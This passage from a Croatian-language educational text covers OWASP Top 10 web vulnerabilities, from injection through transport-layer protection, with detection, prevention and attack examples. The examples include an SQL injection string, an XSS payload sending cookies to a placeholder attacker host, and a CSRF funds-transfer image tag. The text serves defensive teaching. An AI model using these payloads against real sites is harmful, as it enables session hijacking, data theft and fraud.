6) Security Misconfiguration Dobra sigurnost zahtijeva sigurnu konfiguraciju za aplikacije, aplikacijske servere, web servere te servere baze podataka. Sve te konfiguracije trebaju biti definirane, implementirane i odravane. To ukljuuje i redovitu nadogradnju svog softvera. 7) Insecure Cryptographic Storage Mnoge web aplikacije ne zatiuju osjetljive podatke (npr. informacije o kreditnim karticama ili informacije o autentikaciji) na ispravan nain, sa prikladnom enkripcijom ili hashiranjem. Napadai mogu ukrasti ili promijeniti tako slabo zatiene podatke da nekome ukradu identitet, kreditnu karticu i slino. 8) Failure to Restrict URL Access Mnoge web aplikacije provjeravaju URL prava pristupa prije ukljuivanja zatienih linkova ili buttona. No aplikacije trebaju vriti istu provjeru i svaki puta kada se pristupa takvim stranicama, jer napada inae moe krivotvoriti URL da pristupi tim stranicama i bez linkova prikazanih na ekranu. 9) Insufficient Transport Layer Protection Aplikacije esto ne uspijevaju zatititi povjerljivost i integritet osjetljivog mrenog prometa. A kada ga i tite, to se ponekad vri slabim algoritmima, isteklim ili nevaljanim certifikatima, ili pogrenom implementacijom. 10) Unvalidated Redirects and Forwards Web aplikacije esto preusmjeravaju ili prosljeuju korisnike na druge stranice i web mjesta te koriste neprovjerene podatke kako bi utvrdile odredine stranice. Zbog nedovoljne provjere, napada moe preusmjeriti rtve na phishing ili malware stranice ili koristiti preusmjeravanje kako bi neautorizirano pristupio stranicama.

39

4.1.2.1. Injection - Injekcija Opis Tablica 4.3. Opis injekcije (engl. injection) Detekcija propusta Srednje Lak Uobiajen teka Injection pogreke Trebaju se Napada dogaaju se kada razmotriti svi alje korisnici jednostavne aplikacija poalje nepovjerljive podatke sustava koji tekstualne interpreteru. Ovakvi mogu slati napade koji nepovjerljive iskoritavaju propusti su vrlo sintaksu uestali, posebno u podatke korisnikovog legacy sustavima, a sustavu, interpretera. esto se mogu nai u ukljuujui SQL, LDAP i XPath vanjske i upitima, OS unutarnje naredbama, korisnike, kao argumentima programu i i sl. Ovakvi propusti administratore. lako se nau pregledavanjem koda, ali tee kroz testiranje. Potencijalni napadai Teina napada Uestalost propusta Tehniki utjecaj Ozbiljan Injection moe rezultirati gubitkom ili promjenom podataka te zabranom pristupa. Ponekad moe dovesti do potpunog preuzimanja od strane napadaa. Utjecaj na djelatnost Svi podaci mogu biti ukradeni, modificirani ili izbrisani.

Provjera ranjivosti Najbolji nain za provjeru da li je neka aplikacija ranjiva na napad injekcijom je provjeriti sve upotrebe interpretera tako se osigura da one odvajaju nepovjerljive podatke od naredbi ili upita.

Provjera koda je brz i toan nain da se vidi da li aplikacija koristi interpretere na siguran nain. Alati za analizu koda mogu pomoi analitiaru da pronae uporabe interpretera. Kod penetracijskog testiranja te uporabe se mogu testirati. Automatski skeneri za testiranje sigurnosti aplikacija nekad ne mogu doi do interpretera i teko im je detektirati da li je napad bio uspjean, pa se preporua runo testiranje koda.

40

Sprjeavanje ranjivosti Da bi se ovakav napad sprijeio treba nesigurne podatke drati odvojenim od naredbi i upita. Najbolja opcija je koristiti siguran API koji u potpunosti izbjegava interpreter ili prua parametrizirano suelje. Kod API-a kao to su pohranjene procedure treba biti oprezan, jer iako su parametrizirani, jo uvijek u implementaciji mogu biti ranjivi na napad injekcijom. Kada parametrizirani API-i nisu dostupni, treba paljivo maknuti specijalne znakove iz upita pri tome pazei na specifinosti sintakse samog interpretera. White list validacija ulaza se takoer preporua no to nije potpuni nain obrane jer mnoge aplikacije zahtijevaju specijalne znakove kao ulaz. Primjer napada Napad se moe realizirati kada aplikacija koristi nesigurne podatke u konstrukciji ranjivog SQL upita, kao to je upit u sljedeem primjeru: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; Napada kod slanja id parametra preko browsera alje sljedee: ' or '1'='1 Zbog toga upit nee vratiti samo zapis sa jednim raunom, ve sve zapise (raune) iz baze. U najgorem sluaju, napada ovu slabost moe iskoristiti kako bi pozvao specijalnu pohranjenu proceduru u bazi podataka koja omoguuje preuzimanje baze podataka ili ak cijelog servera na kojem se baza podataka nalazi.

41

4.1.2.2. Cross-Site Scripting (XSS) Opis Tablica 4.4. Opis Cross-Site Scripting (XSS) Potencijalni napadai Teina napada Srednje teak Napada alje jednostavne tekstualne skripte koje iskoritavaj u interpreter u browseru. Uestalost propusta Detekcij a propusta Tehniki utjecaj Utjecaj na djelatnos t U obzir treba uzeti poslovnu vrijednost ugroeno g sustava i svih podataka koji njime kolaju. Takoer treba prouiti utjecaj javnog izlaganja propusta.

Trebaju se razmotriti svi korisnici sustava koji mogu slati nepovjerljive podatke sustavu, ukljuujui vanjske i unutarnje korisnike, kao i administratore .

Jako Laka rasprostranje n XSS je najrasprostranjeniji sigurnosni propust u web aplikacijama. XSS propust se dogodi kada aplikacija ukljui podatke koje je poslao korisnik u stranicu za browser bez validacije tog sadraja. Detekcija XSS propusta je jednostavna kroz testiranje i analizu koda.

Umjeren Napada moe izvriti skriptu u browseru korisnika kako bi ukrao njegovu sesiju, promijenio samu stranicu, umetnuo neeljeni sadraj, preusmjeri o korisnika, preuzeo browser koritenje m malwarea, itd.

Provjera ranjivosti Treba osigurati da su svi podaci od korisnika koji se alju natrag browseru provjereni i sigurni (kroz validaciju), a korisniki input treba i escapirati prije nego se ukljui u 42

stranicu. Propisni encoding osigurava da se takav izlaz interpretira kao tekst u browseru, a ne kao kod koji bi se mogao izvriti. I statiki i dinamiki alati mogu pronai XSS probleme, no zbog specifinosti aplikacija i pojedinih tehnologija kao to su JavaScript, ActiveX, Silverlight ili Flash automatska detekcija je oteana. Zbog toga se za kompletnu provjeru preporua kombinacija runog pregledavanja koda i penetracijskog testiranja. Web 2.0 tehnologije kao to su AJAX takoer oteavaju otkrivanje XSS propusta kroz automatsko testiranje. Spreavanje ranjivosti Kod sprjeavanja XSS-a treba nesigurne podatke drati odvojenim od aktivnog sadraja browsera. Preporuena opcija je ispravno eskapirati sav nesiguran sadraj s obzirom na HTML kontekst (body, atribut, JavaScript, CSS ili URL) u kojeg e se taj sadraj smjestiti. To trebaju osigurati programeri. White list validacija se isto preporua ali nije sigurna obrana jer mnoge aplikacije moraju prihvaati specijalne znakove. Primjer napada Aplikacija koristi nesigurne podatke u izgradnji sljedeeg HTML koda bez validacije ili eskapiranja: (String) page += "<input name='creditcard' type='TEXTvalue='" +

request.getParameter("CC") + "'>"; Napada modificira parametar CC na sljedei kod: '><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>' Rezultat napada je da se rtvin ID sesije poalje na napadaevu web stranicu, to napadau omoguuje da koristi korisnikovu trenutnu sesiju. XSS napad se moe iskoristiti i za zaobilaenje CSRF obrana (sigurnosni propust 5).

43

4.1.2.3. Broken Authentication and Session Management Loe upravljanje autentikacijom i sesijama Opis Tablica 4.5. Opis loeg upravljanja autentikacijom i sesijama Potencijalni napadai Anonimni vanjski napadai, kao i korisnici sa svojim raunima koji mogu pokuati ukrasti raun od drugih korisnika. Takoer i korisnici u sustavu koji ele sakriti svoje akcije. Teina napada Srednje teka Napada koristi propuste u autentikaciji ili upravljanju sesijama (izloene raune, lozinke, ID sesija) kako bi se predstavio kao neka druga osoba. Detekcija propusta Srednje Uobiajen teka Programeri esto razvijaju vlastite sustave za autentikaciju i upravljanje sesijama, a pravilno razvijanje takvih sustava je teko. Kao rezultat, ovakvi sustavi esto imaju greke u funkcijama za logout, upravljanje lozinkama, tajnim pitanjima, zapamti me opcijama, auriranju rauna i slino. Pronalaenje takvih mana ponekad je teko zbog specifinosti svake implementacije. Uestalost propusta Tehniki utjecaj Ozbiljan Ovakav napad moe dovesti do napada na neki ili ak sve korisnike raune. Kod uspjenog napada, napada moe sve to i rtva iji je raun ukraden. Zbog toga su privilegirani rauni esta meta. Utjecaj na djelatnost U obzir treba uzeti poslovnu vrijednost ugroenog sustava, svih podataka koji njime kolaju i aplikacijskih funkcija. Takoer treba prouiti utjecaj javnog izlaganja propusta.

Provjera ranjivosti Primarne stvari koje se moraju tititi su akreditivi i ID sesija. Razmotriti sljedea pitanja: 1. Jesu li akreditivi uvijek zatieni koristei hashiranje ili enkripciju? Vidjeti rizik broj 7. 2. Mogu li akreditivi biti pogoeni ili prebrisani koritenjem slabih funkcija za upravljanje raunima (npr. kreiranje rauna, promjena lozinke, vraanje izgubljene lozinke, slabi ID sesije) 3. Jesu li ID-evi sesije izloeni u URL-u? 44

4. Jesu li ID-evi ranjivi na napad fiksiranjem sesije? 5. Da li ID-evi sesija istiu i mogu li se korisnici odlogirati? 6. Da li se ID-evi mijenjaju nakon uspjenog logina? 7. Da li se lozinke, ID-evi sesija i ostali akreditivi alju samo preko TLS veza? Sprjeavanje ranjivosti Primarna preporuka je da organizacija programerima prui jedinstven set jakih sustava za upravljanje autentikacijom i sesijama. Uz to, velik napor treba uloiti u sprjeavanje XSS napada koji se mogu iskoristiti za krau ID-a sesije. Primjer napada Kod primjera napada imamo tri mogua scenarija: 1) Neka stranica stavlja ID sesije u URL, npr: http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJU N2JV?dest=Hawaii Autoriziran korisnik eli prijatelju dojaviti o ovom putovanju. On poalje prijatelju navedeni link bez znanja da mu je dao i svoj ID sesije. Njegov prijatelj tada moe preko ID-a sesije iskoristiti njegovu sesiju ili kreditnu karticu. 2) Timeout aplikacija nije pravilno podeen. Korisnik na nekom javnom raunalu se logira na neku stranicu, a kada odlazi ne odabire opciju logout nego samo zatvara browser. Napada moe koristiti isto raunalo i browser sat vremena kasnije te pristupiti raunu prethodnog korisnika. 3) Unutarnji ili vanjski napada dobije pristup bazi podataka u kojoj su spremljene lozinke. Ako one nisu kriptirane, lozinke svih korisnika su jasno vidljive napadau.

45

4.1.2.4. Insecure Direct Object References Nesigurne direktne reference na objekte Opis Tablica 4.6. Opis nesigurne direktne reference na objekte Potencijalni napadai Treba razmotriti tipove korisnika sustava. Da li bilo koji korisnici imaju samo djelomini pristup pojedinim tipovima sistemskih podataka? Teina napada Lak Napada koji je autoriziran korisnik sustava jednostavno promijeni parametar koji ga direktno referira na neki sistemski objekt na drugi objekt za kojeg nije autoriziran. Uestalost Detekcija propusta propusta Uobiajen Laka Aplikacije esto koriste stvarna imena ili kljueve objekata kada generiraju web stranice. One ne provjeravaju uvijek da li je korisnik autoriziran za koritenje ciljnog objekta. Testeri mogu lako promijeniti vrijednosti parametara kako bi uoili takve propuste, a analiza koda brzo pokazuje da li se autorizacija propisno vri za svaki objekt. Tehniki utjecaj Umjeren Ovakav propust moe kompromitirati sve podatke koji su referencirani preko parametra. Utjecaj na djelatnost Treba razmotriti poslovnu vrijednost podataka, kao i utjecaj javnog izlaganja propusta.

Provjera ranjivosti Najbolji nain za utvrivanje da li je aplikacija ranjiva na ovu vrstu napada je provjeriti sve da sve reference na objekte imaju propisne obrane. Da bi se to postiglo treba razmotriti: 1. Za direktne reference zatienim resursima, aplikacija treba provjeriti da je korisnik autoriziran za pristup tono tom resursu kojeg on trai. 2. Za indirektne reference, mapiranje na direktne reference se mora ograniiti na vrijednosti koje su dozvoljene za autoriziranog korisnika. Pregledavanjem koda aplikacije moe se utvrditi da li su oba ova pristupa pravilno implementirana. Testiranje je takoer uinkovito za uoavanje ovakvih propusta. 46

Automatizirani alati obino ne trae ovakve propuste jer ne znaju to je sigurno ili nesigurno i koji resurs zahtijeva zatitu a koji ne. Sprjeavanje ranjivosti Sprjeavanje zahtijeva pristup za zatitu svakog objekta koji je dostupan korisniku (npr. brojevi objekata ili imena datoteka). To se moe izvriti preko: 1. Koritenje po korisniku ili po sesiji indirektnih referenca na objekte. Ovo sprjeava napadaa da direktno pristupi neautoriziranom resursu. Na primjer, umjesto da se korisniku ponudi lista kljueva prema resursima, ponude mu se brojevi od 1 do 6 kako bi odabrao resurs. Nakon toga aplikacija mapira korisnikovu indirektnu referencu na stvarni klju u bazi podataka. 2. Provjera prava pristupa. Svako koritenje direktne reference na objekt mora ukljuiti i provjeru prava pristupa kako bi se osiguralo da je korisnika autoriziran za pristup eljenom objektu. Primjer napada Aplikacija koristi neprovjerene podatke u SQL pozivu koji pristupa korisnikim informacijama: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt=connection.prepareStatement(query , ); pstmt.setString( 1, request.getParameter("acct")); ResultSetresults = pstmt.executeQuery( );

Napada modificira acct parametar u svome browseru kako bi poslao bilo koji broj. Ako se ne izvri verifikacija, napada moe pristupiti raunu bilo kojeg korisnika, a ne samo svojem (kojem bi trebao pristupiti). http://example.com/app/accountInfo?acct=nijeMojRacun

47

4.1.2.5. Cross-Site Request Forgery (CSRF) Opis Tablica 4.7. Opis CSRFmetode Teina napada Srednje teak Treba Napada razmotriti alje sve koji krivotvorene mogu HTTP prevariti zahtjeve i korisnika prevari aplikacije da rtvu na poalje slanje istih zahtjev na putem nau web tagova za stranicu. To slike, XSS-a je mogue ili brojnih kroz bilo drugih koju HTML tehnika. stranicu Ako je kojoj korisnik korisnik autoriziran, moe napad je pristupiti. uspjean. Potencijalni napadai Uestalost propusta Rasprostranjen Detekcija propusta Laka Tehniki utjecaj Umjeren Napadai mogu promijeniti bilo koji podatak ili izvriti bilo koju operaciju za koju je napadnuti autorizirani korisnik ovlaten. Utjecaj na djelatnost Treba razmotriti vrijednost podataka ili aplikacijskih funkcija.

CSRF iskoritava web aplikacije koje napadau dozvoljavaju predvianje svih detalja odreenih akcija. Poto browseri alju akreditive kao kolaie sesija automatski, napadai mogu kreirati maliciozne web stranice koje generiraju lairane zahtjeve koji se ne mogu razlikovati od legitimnih. Detekcija ovih mana je laka putem penetracijskog testiranja ili analize koda.

Provjera ranjivosti Najlaki nain za provjeru ranjivosti na CSRF napad je provjera da li svaki link i forma sadre nepredvidljiv token za svakoga korisnika. Bez takvih tokena koji se ne mogu predvidjeti, napada moe krivotvoriti maliciozne zahtjeve na stranicu. Kod provjere se treba usredotoiti na linkove i forme koje izazivaju funkcije promjene stanja, jer su to najvaniji ciljevi CSRF napada. Treba obratiti panju na to da ni kolaii sesije, izvorine IP adrese i ostale informacije koje browser automatski alje ne mogu puno pomoi jer napada i te informacije moe ukljuiti u krivotvorene zahtjeve.

48

Sprjeavanje ranjivosti Sprjeavanje CSRF-a zahtijeva ukljuivanje nepredvidljivih tokena u tijelo ili URL svakog HTTP zahtjeva. No takvih tokeni bi trebali biti jedinstveni barem prema korisnikoj sesiji, ali mogu biti jedinstveni i po zahtjevu. 1. Preferirana opcija je da se jedinstveni token ukljui u sakriveno polje. Kod takvog naina ta vrijednost se alje u tijelu HTTP zahtjeva te se izbjegava ukljuivanje u URL, koji moe biti izloen napadau. 2. Jedinstveni token moe biti ukljuen i u sam URL ili kao parametar URL-a. No kod takvog pristupa riskira se da e URL biti izloen napadau, a tako bi se kompromitirao i sam token. OWASP-ov CSRF Guard se moe koristiti kako bi automatski ukljuio takve tokene u Java, .NET ili PHP aplikacije. Takoer, OWASP-ov ESAPI ukljuuje generatore tokena i validatore koje programeri mogu koristiti kako bi zatitili svoje transakcije. Primjer napada Aplikacija dozvoli korisniku da poalje zahtjev za promjenom stanja koji ne ukljuuje nikakvu tajnu (token). Primjer takvog zahtjeva je sljedei: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243 243 Napada napravi zahtjev koji e prebaciti novac sa rtvinog rauna na svoj raun, te takav zahtjev ugradi u razna polja (slike, iframe) koji su na stranicama pod napadaevom kontrolom. <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=att ackersAcct# width="0" height="0" /> Ako rtva napada posjeti bilo koju takvu napadaevu stranicu dok je istovremeno autoriziran na stranici s ranjivom aplikacijom (ovdje example.com), svaki krivotvoreni zahtjev e sadravati i korisnikove podatke o sesiji (koje browser alje automatski), to e uzrokovati neeljeno odobravanje zahtjeva.

49

4.1.2.6. Security Misconfiguration Kriva konfiguracija sustava sigurnosti Opis Tablica 4.8. Opis krive konfiguracije sustava sigurnosti Potencijalni napadai Treba razmotriti anonimne eksterne napadae kao i korisnike s raunima koji bi mogli pokuati kompromitira ti sustav. Razmotriti i korisnike u sustavu koji ele sakriti svoje akcije. Teina napada Lak Uestalos t propusta Detekcij a propust a Tehniki utjecaj Umjeren Ovakvi napadi napadaima esto daju neautoriziran pristup nekim sistemskim podacima ili funkcionalnost i. Rjee rezultiraju preuzimanjem cijelog sustava od strane napadaa. Utjecaj na djelatnost Cijeli sustav moe biti kompromitira n bez znanja vlasnika. Svi podaci mogu biti ukradeni ili polako mijenjani tijekom vremena. Oporavak od tete moe biti skup.

Uobiaje Laka n Napada Propust u pristupa sigurnosnom sustavu raunima, moe se desiti u bilo nekoriteni kojem sloju m aplikacije. stranicama, Programeri i nepokrpani administratori mree m manama, moraju raditi zajedno nezatieni kako bi osigurali da m su svi slojevi datotekama i pravilno direktorijim konfigurirani i a i sl. kako osigurani. bi dobio Automatski skeneri neautorizira su korisni za ni pristup ili detekciju zakrpi koje prikupio nedostaju, znanje o nepropisne sustavu. konfiguracije, koritenje dodijeljenih (defaultnih) rauna, nepotrebnih servisa i sl.

Provjera ranjivosti Da li je provedeno sigurnosno ovrivanje kroz sve aplikacijske slojeve? Pitanja koja se trebaju postaviti su:

50

1. Da li postoji proces za odravanje svog softvera auriranim? To ukljuuje operacijske sustave, web i aplikacijske servere, sustave za upravljanje bazom podataka, aplikacije i sve knjinice koda. 2. Da li je sve nepotrebno onemogueno, maknuto ili deinstalirano (portovi, servisi, rauni, privilegije) 3. Da li su defaultne lozinke rauna promijenjene ili onemoguene? 4. Da li je rukovanje pogrekama podeeno tako da se onemogui prikazivanje previe informativnih pogreaka koje bi napadau dale uvid u rad sustava? 5. Jesu li sigurnosne postavke u razvojnom okruenju poznate i pravilno konfigurirane? Potreban je usklaen i iteracijski pristup procesu razvoja kako bi se razvile i odravale pravilne sigurnosne konfiguracije. Sprjeavanje ranjivosti Primarne preporuke su uspostavljanje svih navedenih toaka: 1. Iterativni proces uvrivanja preko kojeg se lako i brzo moe u rad pustiti novo okruenje koje je pravilno podeeno. Razvoj, osiguranje kvalitete i produkcijska okruenja bi trebali biti konfigurirani na isti nain. Ovaj proces trebao bi biti automatiziran kako bi se minimizirao napor potreban za podeavanje novog sigurnog okruenja. 2. Proces za odravanje paralelnim i putanje u rad svih novih sigurnosnih zakrpi u kratkom roku, i to svakom postavljenom okruenju. 3. Snana arhitektura aplikacija koja prua dobro odvajanje i sigurnost izmeu komponenti. 4. Periodika skeniranja i revizije kako bi se pomoglo u otkrivanju buduih pogreaka u konfiguraciji ili zakrpe koje nedostaju. Primjer napada Scenarij 1: Naa aplikacija ovisi o nekom snanom frameworku kao to je Struts ili Spring. XSS mane su otkrivene u tom frameworku. One su otkrivene i objavljena je zakrpa, no mi ne auriramo svoje knjinice koda. Sve dok se te zakrpe ne apliciraju i na na kod, napada lako moe pronai i iskoristiti mane u naoj aplikaciji. 51

Scenarij 2: Administratorska konzola na aplikacijskom serveru je automatski instalirana i nije uklonjena. Defaultni rauni nisu promijenjeni. Ako napada otkrije da su te standardne administratorske postavke na serveru, moe se ulogirati sa defaultnom lozinkom i preuzeti sustav. Scenarij 3: Izlistavanje direktorija nije onemogueno na serveru. Napada otkrije da jednostavno moe izlistati direktorije kako bi pronaao bilo koju datoteku na sustavu. On pronalazi i skida sve kompilirane Java klase, otkriva ih i doznaje sav kod aplikacije. Tada, na primjer, pronalazi ozbiljnu manu u kodu aplikacije koju moe dalje iskoristiti. Scenarij 4: Konfiguracija aplikacijskog servera dozvoljava da detaljne informacije o pogrekama dospiju do korisnika. Napadai takve dodatne informacije vole iskoristiti kako bi otkrili dublji uzrok problema.

52

4.1.2.7. Insecure Cryptographic Storage Nesigurna kriptografska pohrana Opis Tablica 4.9. Opis nesigurne kriptografske pohrane Potencijalni napadai Razmotriti korisnike sustava. Da li bi eljeli dobiti pristup informacijam a za koje nisu autorizirani? Razmotriti i unutarnje administratore . Teina napada Teak Napadai obino ne razbijaju kriptografij u. Obino pronau kljueve, dobiju kopije izvornog teksta podataka ili pristup kroz kanale koji se automatski dekriptiraju . Uestalost Detekcija propusta propusta Neuobiajen Teka Najei propust u ovom podruju je izostanak kriptiranja podataka koji bi svakako trebali biti kriptirani. Kada se enkripcija i primijeni, nesigurni kljuevi i njihova pohrana, izostanak mijenjanja kljueva ili slabi algoritmi su esta pojava. Uporaba slabih hasheva za zatitu lozinki je takoer esta. Vanjskim napadaima je obino teko iskoristiti takve propuste zbog slabog pristupa, pa obino prvo pronalaze neki drugi propust kako bi dobili potreban pristup. Tehniki utjecaj Ozbiljan Kompromitir ani su svi podaci koji bi trebali biti kriptirani. Obino su to osjetljivi podaci kao to su akreditivi, osobni podaci, informacije o kreditnim karticama i slino. Utjecaj na djelatnost Treba razmotriti vrijednost podataka i utjecaj na ugled. Vidjeti i koje su zakonske posljedice izlaganja osjetljivih podataka.

Provjera ranjivosti Prvo treba utvrditi koji podaci su dovoljno osjetljivi da bi zahtijevali kriptiranje. Primjeri su lozinke, informacije o kreditnim karticama, osobne informacije i slino. Za sve takve podatke treba osigurati: 1. Da su kriptirani svuda gdje se spremaju na due vrijeme, posebno u backupu ovakvih podataka 2. Samo autorizirani korisnici mogu vidjeti dekriptirane kopije ovih podataka 3. Koristi se snaan i standardan algoritam kriptiranja 4. Generiran je snaan klju, koji je zatien od neautoriziranog pristupa, a planira se i izmjena kljueva

53

Sprjeavanje ranjivosti Pune opasnosti i naini sprjeavanja ovih propusta su jako opirni, pa bi za sve osjetljive podatke koji trebaju biti kriptirani trebalo kao minimum osigurati barem sljedee: 1. Razmotriti sve prijetnje od kojih se planiraju tititi podaci kriptiranjem (unutarnji napadi, vanjski korisnici), te osigurati da se svi potrebni podaci kriptiraju na nain da se zatite od tih prijetnji 2. Osigurati da su kopije (backupi) podataka kriptirani, ali da se njihovi kljuevi odravaju i backupiraju zasebno 3. Osigurati prikladne snane standardne algoritme i snane kljueve te upravljanje kljuevima 4. Osigurati da su lozinke hashirane snanim standardnim algoritmom 5. Osigurati da su svi kljuevi i lozinke zatieni od neautoriziranog pristupa Primjer napada Scenarij 1: Aplikacija kriptira informacije o kreditnim karticama u bazu podataka kako bi sprijeila njihovo izlaganje krajnjim korisnicima. No baza podataka je podeena da automatski dekriptira upite na te stupce, to omoguuje SQL injection napad kojim se sve takve informacije mogu dobiti dekriptirane. Sustav bi trebao biti konfiguriran tako da samo back end aplikacije mogu dekriptirati te podatke, a ne front end web aplikacije. Scenarij 2: Backup vrpca je nainjena od kriptiranih podataka, no klju kriptiranja je na istom backupu. Scenarij 3: Baza podataka s lozinkama koristi nesigurni hash kako bi ih pohranila. Pogreka u aplikaciji kod uploada datoteke omoguuje napadau da dobije datoteku s lozinkama. Kod nesigurnih hasheva napadau je za napad grubom silom potrebno oko etiri tjedna, dok bi mu kod sigurnog hasha trebalo preko 3000 godina.

54

4.1.2.8. Failure to Restrict URL Access Neuspjelo ograniavanje URL pristupa Opis Tablica 4.10. Opis neuspjelog ograniavanja URL pristupa Potencijalni napadai Svi sa mrenim pristupom aplikaciji mogu slati zahtjeve. Da li anonimni korisnici mogu pristupiti privatnim stranicama ili uobiajeni korisnici privilegirani m stranicama? Teina napada Lak Napada koji je autorizirani korisnik sustava lako moe promijeniti URL na neku privilegiran u stranicu. Da li mu je pristup omoguen? Anonimni korisnici mogu pristupiti privatnim stranicama koje nisu zatiene. Uestalost propusta Detekcij a propusta Tehniki utjecaj Umjeren Ovakvi propusti dozvoljavaju napadau pristup neautoriziranoj funkcionalnosti . Administrativn e akcije su kljune mete za ovakve napade. Utjecaj na djelatnos t Razmotrit i poslovnu vrijednost izloenih funkcija i podataka koje one obrauju. Takoer razmotriti utjecaj na ugled ako se za ranjivost dozna u javnosti.

Neuobiaje Srednje n teka Aplikacije ne tite uvijek zahtjeve na stranice na ispravan nain. Ponekad je URL zatita upravljana konfiguracijom no ona nije dobro podeena. Ponekad programeri moraju ukljuiti provjeru u kodu ali zaborave. Otkrivanje takvih mana je lako. Najtee je otkriti koje stranice (URL-i) postoje za napad.

Provjera ranjivosti Najbolji nain za otkrivanje ovih pogreaka je provjeriti svaku stranicu. Za svaku stranicu treba razmotriti da li ona treba biti javna ili privatna. Ako stranica treba biti privatna: 1. Da li je potrebna autentifikacija kako bi se pristupilo toj stranici?

55

2. Da li bi trebala biti dostupna svakom autoriziranom korisniku? Ako ne, da li se vri autorizacijska provjera kako bi se utvrdilo da korisnik ima potrebna prava kako bi pristupio stranici? Vanjski sigurnosni mehanizmi esto pruaju autentikacijske i autorizacijske provjere za pristup stranicama. Provjeriti da su pravilno konfigurirani za svaku stranicu. Provjera za ovakvu vrstu propusta moe se vriti i putem penetracijskog testiranja. Sprjeavanje ranjivosti Sprjeavanje neautoriziranog pristupa putem URL-a zahtijeva odabir pristupa za ispravnu autentikaciju i autorizaciju za svaku stranicu. esto je takva zatita pruana preko vanjskih komponenti. Bez obzira na mehanizam zatite, sve sljedee zatite su preporuene: 1. Autorizacijske i autentikacijske politike trebaju biti bazirane na ulogama kako bi se smanjio napor potreban za odravanje tih politika. 2. Politike bi trebale biti visoko konfigurabilne. 3. Mehanizmi bi po zadanim (defaultnim) postavkama trebali sprjeavati sav pristup i zahtijevati eksplicitna prava za pojedine korisnike i uloge, i to za pristup svakoj stranici. Primjer napada Napada jednostavno natjera browser na neki ciljni URL. Razmotrimo dva URL-a koji oba zahtijevaju autentikaciju. Administratorske ovlasti su potrebne kako bi se pristupilo admin_getAppInfo stranici. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo

Ako napada nije autoriziran a dozvoli mu se pristup do bilo koje navedene stranice, to je propust jer se dozvolio neautorizirani pristup. Ako autenticirani korisnik, ali bez administratorskih prava moe pristupiti admin_getAppInfo stranici, ovo je takoer propust, a napada bi mogao traiti jo administratorskih stranica koje su nepravilno zatiene.

56

Takvi propusti se esto dogaaju kada se linkovi za pristup neautoriziranim korisnicima jednostavno sakriju, a ciljne stranice su nepropisno zatiene.

4.1.2.9. Insufficient Transport Layer Protection Nedovoljna zatita na razini transportnog sloja Opis Tablica 4.11. Opis nedovoljne zatite na razini transportnog sloja Potencijaln i napadai Razmotriti sve koji mogu pratiti mreni promet korisnika. Ako je aplikacija na Internetu, ne moe se znati kako joj korisnici pristupaju, pa tome posvetiti dodatnu panju. Uestalos Detekcij t a propusta propusta Teak Uobiajen Laka Praenje Aplikacije ne tite korisnikovo esto svoj mreni g mrenog promet. Mogu koristiti prometa SSL/TLS tijekom nekad je autentikacije, no ne i teko, a drugdje, izlaui tako nekad i lako. podatke i ID sesije Najvea presretanju. Istekli ili potekoa je nepropisno praenje konfigurirani ispravnog certifikati takoer prometa dok mogu biti koriteni. Detekcija osnovnih korisnik mana je lako kroz pristupa praenje mrenog ranjivoj prometa, no ozbiljnije stranici. mane zahtijevaju pregledavanje dizajna aplikacije i konfiguracije servera. Teina napada Tehniki utjecaj Umjeren Ovakvi propusti izlau podatke pojedinih korisnika i mogu dovesti do krae rauna. Ako je kompromitiran administratorsk i raun, cijela stranica moe biti izloena riziku. Slabo podeavanje SSL-a moe dovesti do phishinga i MITM napada. Utjecaj na djelatnost Razmotriti poslovnu vrijednost izloenih podataka na mrenim kanalima u vidu povjerljivost i i potreba integriteta.

Provjera ranjivosti Najbolji nain za provjeru da li aplikacija ima dovoljnu razinu zatite na mrenom sloju je provjera sljedeih toaka: 1. SSL se koristi za zatitu svog prometa vezanog za autentikaciju. 2. SSL se koristi za sve resurse na svim privatnim stranicama i servise. Ovo titi sve podatke i tokene sesija koji se izmjenjuju. 57

3. Podrani su samo snani algoritmi 4. Svi kolaii sesija imaju sigurnosnu zastavicu tako da ih browser nikad ne moe prenositi u izvornom obliku. 5. Certifikat servera je valjan i ispravno konfiguriran. To ukljuuje da je izdan od valjanog izdavaa certifikata, da nije istekao, da nije opozvan i da odgovara svim domenama koje web mjesto koristi. Sprjeavanje ranjivosti Pravilna zatita transportnog sloja moe utjecati na dizajn cijele stranice. Najlake je zahtijevati SSL za cijelo web mjesto. Zbog poboljavanja performansi, neka web mjesta koriste SSL samo na privatnim stranicama, a neka samo na kritinim stranicama, no kod takvog pristupa javlja se opasnost od izlaganja ID-a sesije i ostalih osjetljivih podataka. Kao minimum, trebalo bi uiniti sljedee: 1. Zahtijevati SSL za sve osjetljive stranice. Zahtjevi koji nisu SSL a upueni su na te stranice trebaju se preusmjeriti na SSL stranice. 2. Koristiti secure zastavicu na svim osjetljivim kolaiima. 3. Konfigurirati SSL pruatelja usluga da podrava smo snane algoritme. 4. Osigurati da je koriteni certifikat valjan, da nije istekao, nije opozvan i odgovara svim domenama koje web mjesto koristi. 5. Backend i ostale konekcije takoer trebaju koristiti SSL ili druge tehnologije kriptiranja. Primjer napada Scenarij 1: Stranica ne koristi SSL za sve stranice koje zahtijevaju autentikaciju. Napada jednostavno prati mreni promet (npr. WLAN) i promatra session kolai od rtve. Napada tada ponovno alje ovaj kolai i preuzima sesiju rtve. Scenarij 2: Stranica ima nepropisno konfiguriran SSL certifikat zbog ega korisnikov browser javlja upozorenja. Da bi korisnik koristio stranicu mora prihvatiti takva upozorenja i nastaviti. Zbog toga se korisnik navikne na ovakva upozorenja. Phishing napad na korisnike stranice mami ih na slinu stranicu koja nema ispravan certifikat i koji javlja slino upozorenje. Poto je rtve naviknuta na takva upozorenja, oni nastavljaju koristiti phishing stranicu, odavajui tako lozinke i ostale povjerljive informacije. 58

Scenarij 3: Stranica jednostavno koristi standardan ODBC/JDBC za povezivanje na bazu, ne shvaajui da je sav promet izloen napadau.

